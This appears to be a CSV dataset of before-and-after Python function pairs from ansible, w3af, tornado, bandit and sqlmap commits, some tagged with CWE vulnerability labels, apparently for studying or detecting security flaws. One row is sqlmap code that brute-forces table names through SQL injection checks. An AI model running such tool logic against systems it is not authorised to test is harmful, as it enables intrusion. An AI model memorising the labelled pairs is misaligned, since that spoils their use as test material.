            facts = self._execute_module(module_name='setup', module_args=dict(filter='ansible_pkg_mgr', gather_subset='!all'), task_vars=task_vars)
            display.debug(""Facts %s"" % facts)
            if 'ansible_facts' in facts and  'ansible_pkg_mgr' in facts['ansible_facts']:
                module = getattr(facts['ansible_facts'], 'ansible_pkg_mgr', 'auto')

        if module != 'auto':

            if module not in self._shared_loader_obj.module_loader:
                result['failed'] = True
                result['msg'] = 'Could not find a module for %s.' % module
                return result

            # run the 'package' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            display.vvvv(""Running %s"" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
            return result
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which package manager to use. Try gathering facts or setting the ""use"" option.'
            return result",CWE-703,ansible/ansible,0aaee0272a07fa1cb5081290ec624975ba5b8aa2,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto')

        if module == 'auto':
            try:
                module = self._templar.template('{{ansible_pkg_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
            facts = self._execute_module(module_name='setup', module_args=dict(filter='ansible_pkg_mgr', gather_subset='!all'), task_vars=task_vars)
            display.debug(""Facts %s"" % facts)
            if 'ansible_facts' in facts and  'ansible_pkg_mgr' in facts['ansible_facts']:
                module = getattr(facts['ansible_facts'], 'ansible_pkg_mgr', 'auto')

        if module != 'auto':

            if module not in self._shared_loader_obj.module_loader:
                result['failed'] = True
                result['msg'] = 'Could not find a module for %s.' % module
                return result

            # run the 'package' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            display.vvvv(""Running %s"" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
            return result
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which package manager to use. Try gathering facts or setting the ""use"" option.'
            return result"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/parsers/doc/tests/test_http_request_parser.py,0,"def test_POST_repeated(self):
        request_head = 'POST http://www.w3af.org/ HTTP/1.1\n' \
                       'Host: www.w3af.org\n' \
                       'Content-Length: 7\n' \
                       'Content-Type: application/x-www-form-urlencoded\n' \
                       'Foo: spam\n' \
                       'Foo: eggs\n'
        post_data = 'a=1&a=2'
        fr = http_request_parser(request_head, post_data)

        exp_headers = Headers([('Host', 'www.w3af.org'),
                               ('Content-Type',
                                'application/x-www-form-urlencoded'),
                               ('Foo', 'spam, eggs')])

        self.assertEqual(fr.get_headers(), exp_headers)
        self.assertEquals(fr.get_data(), post_data)",,andresriancho/w3af,90ba80b7fa5366ee20056e93d0cdf1e5e156debb,"def test_POST_repeated(self):
        request_head = 'POST http://www.w3af.org/ HTTP/1.1\n' \
                       'Host: www.w3af.org\n' \
                       'Content-Length: 7\n' \
                       'Content-Type: application/x-www-form-urlencoded\n' \
                       'Foo: spam\n' \
                       'Foo: eggs\n'
        post_data = 'a=1&a=2'
        fr = http_request_parser(request_head, post_data)

        exp_headers = Headers([('Host', 'www.w3af.org'),
                               ('Content-Type',
                                'application/x-www-form-urlencoded'),
                               ('Foo', 'spam, eggs'),])

        self.assertEqual(fr.get_headers(), exp_headers)
        self.assertEquals(fr.get_data(), post_data)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/escape_test.py,0,"def test_xhtml_escape(self):
        tests = [
            (""<foo>"", ""&lt;foo&gt;""),
            (u(""<foo>""), u(""&lt;foo&gt;"")),
            (b""<foo>"", b""&lt;foo&gt;""),

            (""<>&\""'"", ""&lt;&gt;&amp;&quot;&#39;""),
            (""&amp;"", ""&amp;amp;""),

            (u(""<\u00e9>""), u(""&lt;\u00e9&gt;"")),
            (b""<\xc3\xa9>"", b""&lt;\xc3\xa9&gt;""),
        ]
        for unescaped, escaped in tests:
            self.assertEqual(utf8(xhtml_escape(unescaped)), utf8(escaped))
            self.assertEqual(utf8(unescaped), utf8(xhtml_unescape(escaped)))",CWE-Unknown,tornadoweb/tornado,bb77f2887f9c1158401e21f525d5d2054a6258e3,"def test_xhtml_escape(self):
        tests = [
            (""<foo>"", ""&lt;foo&gt;""),
            (u(""<foo>""), u(""&lt;foo&gt;"")),
            (b""<foo>"", b""&lt;foo&gt;""),

            (""<>&\""'"", ""&lt;&gt;&amp;&quot;&#39;""),
            (""&amp;"", ""&amp;amp;""),

            (u(""<\u00e9>""), u(""&lt;\u00e9&gt;"")),
            (b""<\xc3\xa9>"", b""&lt;\xc3\xa9&gt;""),
        ]
        for unescaped, escaped in tests:
            self.assertEqual(utf8(xhtml_escape(unescaped)), utf8(escaped))
            self.assertEqual(utf8(unescaped), utf8(xhtml_unescape(escaped)))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/context.py,0,"def call_keywords(self):
        '''
        :return: A dictionary of keyword parameters for a call
        '''
        if (
            'call' in self._context and
            hasattr(self._context['call'], 'keywords')
        ):
            return_dict = {}
            for li in self._context['call'].keywords:
                return_dict[li.arg] = self._get_literal_value(li.value)
            return return_dict
        else:
            return None",UNKNOWN,PyCQA/bandit,bbcc7207634f64caf6d9ea577086cc27986a8602,"def call_keywords(self):
        '''
        :return: A dictionary of keyword parameters for a call
        '''
        if('call' in self._context and
               hasattr(self._context['call'],'keywords')):
            return_dict = {}
            for li in self._context['call'].keywords:
                return_dict[li.arg] = self._get_literal_value(li.value)
            return return_dict
        else:
            return None"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        resolveCrossReferences()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if checkPipedInput():
            conf.batch = True

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                os._exitcode = 1 - (smokeTest() or 0)
            elif conf.vulnTest:
                from lib.core.testing import vulnTest
                os._exitcode = 1 - (vulnTest() or 0)
            elif conf.liveTest:
                from lib.core.testing import liveTest
                os._exitcode = 1 - (liveTest() or 0)
            else:
                from lib.controller.controller import start
                if conf.profile and six.PY2:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        if conf.crawlDepth and conf.bulkFile:
                            targets = getFileItems(conf.bulkFile)

                            for i in xrange(len(targets)):
                                try:
                                    kb.targets.clear()
                                    target = targets[i]

                                    if not re.search(r""(?i)\Ahttp[s]*://"", target):
                                        target = ""http://%s"" % target

                                    infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
                                    logger.info(infoMsg)

                                    crawl(target)
                                except Exception as ex:
                                    if not isinstance(ex, SqlmapUserQuitException):
                                        errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
                                        logger.error(errMsg)
                                    else:
                                        raise
                                else:
                                    if kb.targets:
                                        start()
                        else:
                            start()
                    except Exception as ex:
                        os._exitcode = 1

                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        if not conf.batch:
            errMsg = ""user quit""
            logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        logger.critical(errMsg)

        raise SystemExit

    except KeyboardInterrupt:
        print()

    except EOFError:
        print()

        errMsg = ""exit""
        logger.error(errMsg)

    except SystemExit:
        pass

    except:
        print()
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        if valid is False:
            errMsg = ""code integrity check failed (turning off automatic issue creation). ""
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", ""Can't find file for module"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""SyntaxError: Non-ASCII character"", "".py on line"", ""but no encoding declared"")) or any(_ in excMsg for _ in (""source code string cannot contain null bytes"", ""No module named"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
            errMsg = ""memory exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
            errMsg = ""no space left on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""The paging file is too small"",)):
            errMsg = ""no space left for paging file""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
            errMsg = ""permission error occurred while running Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""_'"")):
            errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            raise SystemExit

        elif ""Read-only file system"" in excMsg:
            errMsg = ""output device is mounted as read-only""
            logger.critical(errMsg)
            raise SystemExit

        elif ""OperationalError: disk I/O error"" in excMsg:
            errMsg = ""I/O error on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Violation of BIDI"" in excMsg:
            errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Invalid IPv6 URL"" in excMsg:
            errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""_mkstemp_inner"" in excMsg:
            errMsg = ""there has been a problem while accessing temporary files""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"")):
            errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
            errMsg += ""Please make sure that your disk is not full and ""
            errMsg += ""that you have sufficient write permissions to ""
            errMsg += ""create temporary files and/or directories""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
            errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
            errMsg += ""(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
            errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
            errMsg += ""(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""must be pinned buffer, not bytearray"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7. Please update accordingly ""
            errMsg += ""(Reference: https://bugs.python.org/issue8104)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't start new thread"" in excMsg:
            errMsg = ""there has been a problem while creating new thread instance. ""
            errMsg += ""Please make sure that you are not running too many processes""
            if not IS_WIN:
                errMsg += "" (or increase the 'ulimit -u' value)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't allocate read lock"" in excMsg:
            errMsg = ""there has been a problem in regular socket operation ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
            errMsg = ""there has been a problem in enumeration. ""
            errMsg += ""Because of a considerable chance of false-positive case ""
            errMsg += ""you are advised to rerun with switch '--flush-session'""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
            errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""bad marshal data (unknown type code)"" in excMsg:
            match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
            errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
            errMsg += "". Please delete .pyc files on your system to fix the problem""
            logger.critical(errMsg)
            raise SystemExit

        elif kb.get(""dumpKeyboardInterrupt""):
            raise SystemExit

        elif any(_ in excMsg for _ in (""Broken pipe"",)):
            raise SystemExit

        for match in re.finditer(r'File ""(.+?)"", line', excMsg):
            file_ = match.group(1)
            try:
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
            except ValueError:
                pass
            file_ = file_.replace(""\\"", '/')
            if ""../"" in file_:
                file_ = re.sub(r""(\.\./)+"", '/', file_)
            else:
                file_ = file_.lstrip('/')
            file_ = re.sub(r""/{2,}"", '/', file_)
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        if conf.get(""api"") or not valid:
            logger.critical(""%s\n%s"" % (errMsg, excMsg))
        else:
            logger.critical(errMsg)
            dataToStdout(""%s\n"" % setColor(excMsg.strip(), level=logging.CRITICAL))
            createGithubIssue(errMsg, excMsg)

    finally:
        kb.threadContinue = False

        _ = getDaysFromLastUpdate()
        if _ > LAST_UPDATE_NAGGING_DAYS:
            warnMsg = ""you haven't updated sqlmap for more than %d days!!!"" % _
            logger.warn(warnMsg)

        if conf.get(""showTime""):
            dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass

            if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))):  # ignore junk files
                try:
                    shutil.rmtree(kb.tempDir, ignore_errors=True)
                except OSError:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)

        if conf.get(""harFile""):
            try:
                with openFile(conf.harFile, ""w+b"") as f:
                    json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
            except SqlmapBaseException as ex:
                errMsg = getSafeExString(ex)
                logger.critical(errMsg)

        if conf.get(""api""):
            conf.databaseCursor.disconnect()

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        _ = time.time()
        while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
            time.sleep(0.01)

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()",,sqlmapproject/sqlmap,8cdc66fdf7eed978d0dec957e5b9f442a332e0df,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        resolveCrossReferences()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if checkPipedInput():
            conf.batch = True

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                os._exitcode = 1 - (smokeTest() or 0)
            elif conf.vulnTest:
                from lib.core.testing import vulnTest
                os._exitcode = 1 - (vulnTest() or 0)
            elif conf.liveTest:
                from lib.core.testing import liveTest
                os._exitcode = 1 - (liveTest() or 0)
            else:
                from lib.controller.controller import start
                if conf.profile and six.PY2:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        if conf.crawlDepth and conf.bulkFile:
                            targets = getFileItems(conf.bulkFile)

                            for i in xrange(len(targets)):
                                try:
                                    kb.targets.clear()
                                    target = targets[i]

                                    if not re.search(r""(?i)\Ahttp[s]*://"", target):
                                        target = ""http://%s"" % target

                                    infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
                                    logger.info(infoMsg)

                                    crawl(target)
                                except Exception as ex:
                                    if not isinstance(ex, SqlmapUserQuitException):
                                        errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
                                        logger.error(errMsg)
                                else:
                                    if kb.targets:
                                        start()
                        else:
                            start()
                    except Exception as ex:
                        os._exitcode = 1

                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        if not conf.batch:
            errMsg = ""user quit""
            logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        logger.critical(errMsg)

        raise SystemExit

    except KeyboardInterrupt:
        print()

    except EOFError:
        print()

        errMsg = ""exit""
        logger.error(errMsg)

    except SystemExit:
        pass

    except:
        print()
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        if valid is False:
            errMsg = ""code integrity check failed (turning off automatic issue creation). ""
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", ""Can't find file for module"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""SyntaxError: Non-ASCII character"", "".py on line"", ""but no encoding declared"")) or any(_ in excMsg for _ in (""source code string cannot contain null bytes"", ""No module named"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
            errMsg = ""memory exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
            errMsg = ""no space left on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""The paging file is too small"",)):
            errMsg = ""no space left for paging file""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
            errMsg = ""permission error occurred while running Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""_'"")):
            errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            raise SystemExit

        elif ""Read-only file system"" in excMsg:
            errMsg = ""output device is mounted as read-only""
            logger.critical(errMsg)
            raise SystemExit

        elif ""OperationalError: disk I/O error"" in excMsg:
            errMsg = ""I/O error on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Violation of BIDI"" in excMsg:
            errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Invalid IPv6 URL"" in excMsg:
            errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""_mkstemp_inner"" in excMsg:
            errMsg = ""there has been a problem while accessing temporary files""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"")):
            errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
            errMsg += ""Please make sure that your disk is not full and ""
            errMsg += ""that you have sufficient write permissions to ""
            errMsg += ""create temporary files and/or directories""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
            errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
            errMsg += ""(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
            errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
            errMsg += ""(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""must be pinned buffer, not bytearray"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7. Please update accordingly ""
            errMsg += ""(Reference: https://bugs.python.org/issue8104)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't start new thread"" in excMsg:
            errMsg = ""there has been a problem while creating new thread instance. ""
            errMsg += ""Please make sure that you are not running too many processes""
            if not IS_WIN:
                errMsg += "" (or increase the 'ulimit -u' value)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't allocate read lock"" in excMsg:
            errMsg = ""there has been a problem in regular socket operation ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
            errMsg = ""there has been a problem in enumeration. ""
            errMsg += ""Because of a considerable chance of false-positive case ""
            errMsg += ""you are advised to rerun with switch '--flush-session'""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
            errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""bad marshal data (unknown type code)"" in excMsg:
            match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
            errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
            errMsg += "". Please delete .pyc files on your system to fix the problem""
            logger.critical(errMsg)
            raise SystemExit

        elif kb.get(""dumpKeyboardInterrupt""):
            raise SystemExit

        elif any(_ in excMsg for _ in (""Broken pipe"",)):
            raise SystemExit

        for match in re.finditer(r'File ""(.+?)"", line', excMsg):
            file_ = match.group(1)
            try:
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
            except ValueError:
                pass
            file_ = file_.replace(""\\"", '/')
            if ""../"" in file_:
                file_ = re.sub(r""(\.\./)+"", '/', file_)
            else:
                file_ = file_.lstrip('/')
            file_ = re.sub(r""/{2,}"", '/', file_)
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        if conf.get(""api"") or not valid:
            logger.critical(""%s\n%s"" % (errMsg, excMsg))
        else:
            logger.critical(errMsg)
            dataToStdout(""%s\n"" % setColor(excMsg.strip(), level=logging.CRITICAL))
            createGithubIssue(errMsg, excMsg)

    finally:
        kb.threadContinue = False

        _ = getDaysFromLastUpdate()
        if _ > LAST_UPDATE_NAGGING_DAYS:
            warnMsg = ""you haven't updated sqlmap for more than %d days!!!"" % _
            logger.warn(warnMsg)

        if conf.get(""showTime""):
            dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass

            if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))):  # ignore junk files
                try:
                    shutil.rmtree(kb.tempDir, ignore_errors=True)
                except OSError:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)

        if conf.get(""harFile""):
            try:
                with openFile(conf.harFile, ""w+b"") as f:
                    json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
            except SqlmapBaseException as ex:
                errMsg = getSafeExString(ex)
                logger.critical(errMsg)

        if conf.get(""api""):
            conf.databaseCursor.disconnect()

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        _ = time.time()
        while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
            time.sleep(0.01)

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/brute/use.py,0,"def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                fullTableName = ""%s.%s"" % (conf.db, table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression(""%s"" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = ""[%s] [INFO] retrieved: %s\n"" % (time.strftime(""%X""), unsafeSQLIdentificatorNaming(table))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                dataToStdout(""\r[%s] [INFO] tried %s"" % (time.strftime(""%X""), status), True)

            kb.locks.io.release()",,sqlmapproject/sqlmap,9b3d2292942501ddcaf83191a34438af23ef439e,"def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                fullTableName = ""%s.%s"" % (conf.db, table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression(""%s"" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))

            kb.locks.io.acquire()

            if result and table.lower() not in threadData.shared.unique:
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

                if conf.verbose in (1, 2) and not hasattr(conf, ""api""):
                    clearConsoleLine(True)
                    infoMsg = ""[%s] [INFO] retrieved: %s\n"" % (time.strftime(""%X""), unsafeSQLIdentificatorNaming(table))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                dataToStdout(""\r[%s] [INFO] tried %s"" % (time.strftime(""%X""), status), True)

            kb.locks.io.release()"
